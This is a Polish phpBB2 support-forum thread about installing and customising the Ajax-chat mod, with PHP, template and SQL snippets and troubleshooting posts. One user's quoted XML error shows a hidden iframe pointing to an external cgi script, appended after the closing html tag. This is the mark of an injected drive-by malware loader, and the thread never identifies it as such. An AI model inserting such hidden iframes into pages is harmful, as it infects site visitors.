To jest tylko wersja do druku, aby zobaczyć pełną wersję tematu, kliknij TUTAJ
phpBB2 by Przemo
Support forów phpBB2 modified by Przemo

1.12.7 i starsze - Ajax-chat

michal12514 - 17-06-2009, 17:17

mam dwa pytania:
1. który plik odpowiada za wygląd chatu?
chodzi o dodanie nowego przycisku (link do regulaminu) , obok podreślenie, pogrubienie itp. - nie chodzi mi o dokładną instrukcję - wystarczy nazwa pliku i mniej wiecej która linijka za to odpowiada

2.jak wyłączyć kasowanie postów przez moderatorów? (niech nie widzą krzyzyka do kasowania)

poZdrawiam

qba88 - 06-07-2009, 18:20

Mam problem z chatem. Po aktualizacji Firefoksa do wersji 3.0.11 pojawia się błąd:

Cytat:
Błąd parsowania XML: niezrozumiała seria znaków po elemencie dokumentu
Obszar: http://www.clubworld.pl/chat/index.php
Numer linii: 386, kolumna 8:</html><iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>
-------^


W innych przeglądarkach wszystko jest dobrze. Jak temu zaradzić?

Traviz - 24-07-2009, 11:32

Chat zainstalowałem za pierwszym razem i działa bez problemu :)
Jednak drażni mnie ilość pokoi i chciałbym je zredukować ... w jaki sposób to zrobić ?

volt123 - 27-07-2009, 08:54

strus napisał/a:
Zaden problem, prosze:

Otworz includes/page_header.php,

Znajdz:
Kod:
define('HEADER_INC', TRUE);


Dodaj po:
Kod:
// Chat online users:
$chat_online_user_ids = array();
$chat_online_user_names = array();
$sql = 'SELECT
    userID,
    userName
    FROM
    `ajax_chat_online`;';
$result = $db->sql_query($sql);
while($row = $db->sql_fetchrow($result))
    {
    array_push($chat_online_user_ids, $row['userID']);
    array_push($chat_online_user_names, $row['userName']);
    }
$db->sql_freeresult($result);


Znajdz:
Kod:
//
// Generate logged in/logged out status
//
if ( $userdata['session_logged_in'] )
{
    $u_login_logout = 'login.'.$phpEx.'?logout=true&amp;sid=' . $userdata['session_id'];
    $l_login_logout = $lang['Logout'] . ' [ ' . $userdata['username'] . ' ]';
}
else
{
    $u_login_logout = 'login.'.$phpEx;
    $l_login_logout = $lang['Login'];
}


Dodaj po:
Kod:
if(in_array($row['user_id'], $chat_online_user_ids))
{
$user_online_link = '<span title="* = '.strip_tags($row['username']).' is logged into the Chat">'.$user_online_link.'*</span>';
}


Znajdz:
Kod:
//
// The following assigns all _common_ variables that may be used at any point
// in a template.
//
$template->assign_vars(array(


Dodaj po:
Kod:
'CHAT_LINK' => '../chat/',
'CHAT_LABEL' => 'Chat ['.count($chat_online_user_names).']',
'CHAT_TITLE' => 'Online: '.htmlentities(implode(', ', $chat_online_user_names), ENT_QUOTES, 'ISO-8859-1'),


Otworz templates/[STYL]/overall_header.tpl

Znajdz:
Kod:
<link rel="stylesheet" href="templates/twoj_styl/{T_HEAD_STYLESHEET}" type="text/css">


Zauwaz ze tam ma byc nazwa Twojego stylu wpisana, zamiast "twoj_styl".

Dodaj po:
Kod:
<script type="text/javascript">
        // <![CDATA[
            function openChatWindow(url,width,height,options,name) {
                width = width ? width : 800;
                height = height ? height : 600;
                options = options ? options : 'resizable=no';
                name = name ? name : 'openWindow';
                window.open(
                    url,
                    name,
                    'screenX='+(screen.width-width)/2+',screenY='+(screen.height-height)/2+',width='+width+',height='+height+','+options
                )
            }
        // ]]>
    </script>


I teraz dodaj gdzies, gdzie chcesz w overall_header
Kod:
<a href="{CHAT_LINK}" title="{CHAT_TITLE}" onclick="openChatWindow(this.href); this.blur(); return false;" class="mainmenu">{CHAT_LABEL}</a>



Jak zrobić aby link z liczbą online był pod lub nad:

Osoby odpowiedzialne za Forum
Ostrzeżenia użytkowników

?

Mam na górze, i mi to nie pasuje...

Proszę o pomoc.

[ Dodano: 27-07-2009, 11:50 ]
I jak zrobić aby jr. admin mógł kickać i mod?

siudamarcin - 05-09-2009, 10:28

Witam, udało mi się zainstalować tego czata, ale mam pytanko da się go umieścić w tym miejscu co shoutbox (zamienić shoutboxa na tego Ajaxowego?)
MagicalFire - 06-01-2010, 13:09

mały dodatek
ilość osób na czacie w Kto jest na Forum


w includes/page_header.php

znajdz
Kod:
define('HEADER_INC', TRUE);



dodaj za
Kod:
function getChatInterface() {
  static $ajaxChat;

  if(!$ajaxChat) {
   // URL to the chat directory:
   if(!defined('AJAX_CHAT_URL')) {
     define('AJAX_CHAT_URL', './chat/');
   }

   // Path to the chat directory:
   if(!defined('AJAX_CHAT_PATH')) {
     define('AJAX_CHAT_PATH', realpath(dirname($_SERVER['SCRIPT_FILENAME']).'/chat').'/');
   }

   // Validate the path to the chat:
   if(@is_file(AJAX_CHAT_PATH.'lib/classes.php')) {

     // Include Class libraries:
     require_once(AJAX_CHAT_PATH.'lib/classes.php');

     // Initialize the chat interface:
     $ajaxChat = new CustomAJAXChatInterface();
   }
  }

  return $ajaxChat;
}
function getChatOnlineUsers() {
  return ($chatInterface = getChatInterface()) ? $chatInterface->getOnlineUsers() : array();
}
function getChatOnlineUserIDs() {
  return ($chatInterface = getChatInterface()) ? $chatInterface->getOnlineUserIDs() : array();
}
// odmiana końcówki osoba, osoby, osób; znajduje, znajduj?

$zlicz_userow = count(getChatOnlineUserIDs());
if ($zlicz_userow == 1)
{
    $koncowka = "oba";
    $koncowka_znajd = "e";
}
if ($zlicz_userow >=2 && $zlicz_userow <= 4 )
{
    $koncowka = "oby";
    $koncowka_znajd = "ą";
}
if ($zlicz_userow == 0 || $zlicz_userow >=5)
{
    if ($zlicz_userow == 0)
    {
        $koncowka = 'ób';
    }
    else
    {
    $koncowka = 'ób';
    }
    $koncowka_znajd = "e";
}


znajdź

Kod:
'T_SPAN_CLASS3' => $theme['span_class3'],

dodaj za

Kod:
    'T_SPAN_CLASS3' => $theme['span_class3'],
    'CHAT_LINK' => 'chat/index.php',
    'CHAT_ILE_OSOB' => count(getChatOnlineUserIDs()),
    'CHAT_JAKIE_OSOBY' => htmlentities(implode(', ', getChatOnlineUsers()), ENT_QUOTES, 'ISO-8859-1'),
    'CHAT_KONCOWKA' => $koncowka,
    'ZNAJD_KONCOWKA' => $koncowka_znajd,


index_body.tpl
znajdź
Kod:


      <!-- BEGIN chat -->
      <tr>
         <td class="row1" {ONMOUSE_COLORS}align="left">
            <span class="gensmall">{TOTAL_CHATTERS_ONLINE}&nbsp;&nbsp;&nbsp;
            <!-- BEGIN logged_out -->
            [ {L_LOGIN_TO_JOIN_CHAT} ]
            <!-- END logged_out -->
            <!-- BEGIN logged_in -->
            [ <a href="javascript:void(0);" onClick="window.open('{S_JOIN_CHAT}','{CHATBOX_NAME}','scrollbars=no,width=540,height=450')">{L_CLICK_TO_JOIN_CHAT}</a> ]
            <!-- END logged_in -->
            <br />{CHATTERS_LIST}</span></td>
      </tr>
      <!-- END chat -->


zamień na


Kod:
    <!-- BEGIN chat -->
      <tr>
         <td class="row1" {ONMOUSE_COLORS}align="left">
            <span class="gensmall">
                <!-- BEGIN logged_out -->
                <font color="#FFFFFF"><b>Na czacie znajduj{ZNAJD_KONCOWKA} się </b></font><font color="#00CCFF"><b>{CHAT_ILE_OSOB}</b></font> os{CHAT_KONCOWKA}: <b>{CHAT_JAKIE_OSOBY}</b>
                <!-- END logged_out -->
                <!-- BEGIN logged_in -->
                <font color="#FFFFFF"><b>Na czacie znajduj{ZNAJD_KONCOWKA} się </b></font><font color="#00CCFF"><b>{CHAT_ILE_OSOB}</b></font><font color="#FFFFFF"><b> os{CHAT_KONCOWKA}: </b></font><b>{CHAT_JAKIE_OSOBY}</b>
                [ <a href="javascript:void(0);" onClick="window.open('{CHAT_LINK}','chat_ajax','scrollbars=no,width=740,height=650,resizable=yes')"><font color="#009900"><b>Kliknij tutaj, aby wejść na czat</b></font></a> ]
                <!-- END logged_in -->
            </span></td>
      </tr>
     <!-- END chat -->

Dancan - 20-01-2010, 18:33

MagicalFire napisał/a:
<b>Kliknij tutaj, aby wejść na czat</b></font></a> ]

U mnie w słowie wejść występują krzaczki.

Jeśli komuś też to należy słowo wejść zamienić na wej¶ć

[ Dodano: 20-01-2010, 18:40 ]
Aj zapomniałem zapytać

Co muszę zrobić żeby nie wyświetlało cały czas ostatniej osoby zalogowanej na czat jeśli jej tam nie ma np. od 10h ??

marcin1990 - 19-02-2010, 18:37

czy po zainstalowaniu moda sa te pokoje co w przykladowym ?
jak tak czy mozna je usuwac lub zmieniac? jak tak to w jaki sposob?

[ Dodano: 20-02-2010, 12:21 ]
odpowie mi ktos wkoncu czy mozna te standardowe pokoje usuwac lub zmieniac? xD
chyba ze po instalacji nie ma zadnego i sie tworzy dopiero to wtedy ok

[ Dodano: 20-02-2010, 23:09 ]
co to za bledy i jak je naprawic??
ďťż
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChat.php on line 2466

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChat.php on line 2466

Warning: Cannot modify header information - headers already sent by (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChatHTTPHeader.php on line 36

Warning: Cannot modify header information - headers already sent by (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChatHTTPHeader.php on line 37

Warning: Cannot modify header information - headers already sent by (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChatHTTPHeader.php on line 41

Warning: Cannot modify header information - headers already sent by (output started at /home/eu/public_html/chat/lib/config.php:1) in /home/eu/public_html/chat/lib/class/AJAXChatHTTPHeader.php on line 45

krycha - 26-02-2010, 15:17

~MagicalFire

Moduł chatbox wyswietla mi stara liste kto jest na czacie ,dodałem wszystko i zamieniłem linijki

[code <!-- BEGIN chat -->
<tr>
<td class="row1" {ONMOUSE_COLORS}align="left">
<span class="gensmall">
<!-- BEGIN logged_out -->
<font color="#FFFFFF"><b>Na czacie znajduj{ZNAJD_KONCOWKA} się </b></font><font color="#00CCFF"><b>{CHAT_ILE_OSOB}</b></font> os{CHAT_KONCOWKA}: <b>{CHAT_JAKIE_OSOBY}</b>
<!-- END logged_out -->
<!-- BEGIN logged_in -->
<font color="#FFFFFF"><b>Na czacie znajduj{ZNAJD_KONCOWKA} się </b></font><font color="#00CCFF"><b>{CHAT_ILE_OSOB}</b></font><font color="#FFFFFF"><b> os{CHAT_KONCOWKA}: </b></font><b>{CHAT_JAKIE_OSOBY}</b>
[ <a href="javascript:void(0);" onClick="window.open('{CHAT_LINK}','chat_ajax','scrollbars=no,width=740,height=650,resizable=yes')"><font color="#009900"><b>Kliknij tutaj, aby wejść na czat</b></font></a> ]
<!-- END logged_in -->
</span></td>
</tr>
<!-- END chat -->[/code]

a to pytanie jaki mogłbym dodac kod pod ogolne...konfiguracja portalu...własne menu...
by wyswietlało mi poprawnie chat ajaxa
narazie dodałem tylko

<a href="javascript:void(0);" onClick="window.open('{CHAT_LINK}','chat_ajax','scrollbars=no,width=740,height=650,resizable=yes')"><font color="#009900"><b>Kliknij tutaj, aby wejść na czat</b></font></a>

i poprawnie przechodze do chata ale jak wszystko wkleje to nie ma podanych osob kto jest na czacie[/code]

Blant - 23-03-2010, 03:47

Jedno co mi się w tym nie podoba to to, że jeżeli użytkownik wejdzie na chat, dopiero po napisaniu jest aktywny i widzi resztę. To jest jakieś nieporozumienie, ktoś wchodzi, patrzy, nikogo nie ma i wychodzi, a w rzeczywistości są ludzie. Przestudiowałem cały config i nie ma tam takiej opcji, a może coś przeoczyłem?

[ Dodano: 23-03-2010, 12:01 ]
Najnowsza wersja chata ze strony (0.8.3) rozwiązuje problem.

[ Dodano: 24-03-2010, 14:31 ]
MagicalFire napisał/a:
'CHAT_JAKIE_OSOBY' => htmlentities(implode(', ', getChatOnlineUsers()), ENT_QUOTES, 'ISO-8859-2'),


[ Dodano: 24-03-2010, 14:36 ]
Nie obsługuje kodowania iso2, a na iso 1 krzaki w nickach na głownej ;>

[ Dodano: 24-03-2010, 14:44 ]
Z tym kodowaniem to dziwne, jaja bo to jednak chodzi o bazę, i tam nawet na latin 2 wywala krzaki w bazie, nie wiedzieć czemu i potem jak jest informacja na stronie głównej i jest użytkownik z polskimi znakami to są krzaczki. Mniejsza o to, nawet jak jest sprawdzanie aktywności, ale na forum został jeden user, to ktos musi tam wejść, żeby go rozłączyło no i tak potrafi wisieć przez cały dzień, że jest jedna osoba na czacie. Pozmieniałem ręcznie teksty i mam coś takiego:
Kod:
Jako ostatni na czacie był: 1: nick
Ale nie umiem sie pozbyć tej jedynki, bo by trzeba było kod pozmieniać, wie ktoś jak?

[ Dodano: 24-03-2010, 14:45 ]
Cytat:
ale na forum został jeden user

Oczywiście na czacie.

nolag - 20-05-2010, 00:08

A ja gdy robię zapytanie do bazy dostaję komunikat:
Kod:
Nie mogę wykonać: CREATE TABLE ajax_chat_online ( userID INT(11) NOT NULL, userName VARCHAR(64) NOT NULL, userRole INT(1) NOT NULL, channel INT(11) NOT NULL, dateTime DATETIME NOT NULL, ip VARBINARY(16) NOT NULL ) DEFAULT CHARSET=utf8 COLLATE=utf8_bin


W czym może być problem?

xlesiu - 20-05-2010, 10:46

nolag, spróbuj wykonać to zapytanie przez phpmyadmina. Powinien "wyskoczyć" błąd. Wklej nam go to będzie wiadomo dlaczego nie możesz wykonać zapytania.
nolag - 20-05-2010, 12:14

Takie coś:
Kod:
Błąd

zapytanie SQL:

CREATE TABLE ajax_chat_online(
userID INT( 11 ) NOT NULL ,
userName VARCHAR( 64 ) NOT NULL ,
userRole INT( 1 ) NOT NULL ,
channel INT( 11 ) NOT NULL ,
dateTime DATETIME NOT NULL ,
ip VARBINARY( 16 ) NOT NULL
) DEFAULT CHARSET = utf8 COLLATE = utf8_bin;

MySQL zwrócił komunikat: Dokumentacja
#1064 - Something is wrong in your syntax obok 'DEFAULT CHARSET=utf8 COLLATE=utf8_bin' w linii 8

Matteo - 20-05-2010, 14:31

nolag, próbowałeś bez
Kod:
DEFAULT CHARSET = utf8 COLLATE = utf8_bin
?
Czyli:
Kod:
CREATE TABLE ajax_chat_online(
userID INT( 11 ) NOT NULL ,
userName VARCHAR( 64 ) NOT NULL ,
userRole INT( 1 ) NOT NULL ,
channel INT( 11 ) NOT NULL ,
dateTime DATETIME NOT NULL ,
ip VARBINARY( 16 ) NOT NULL
);

nolag - 20-05-2010, 16:02

Śmiga thx :)


Powered by phpBB modified by Przemo © 2003 phpBB Group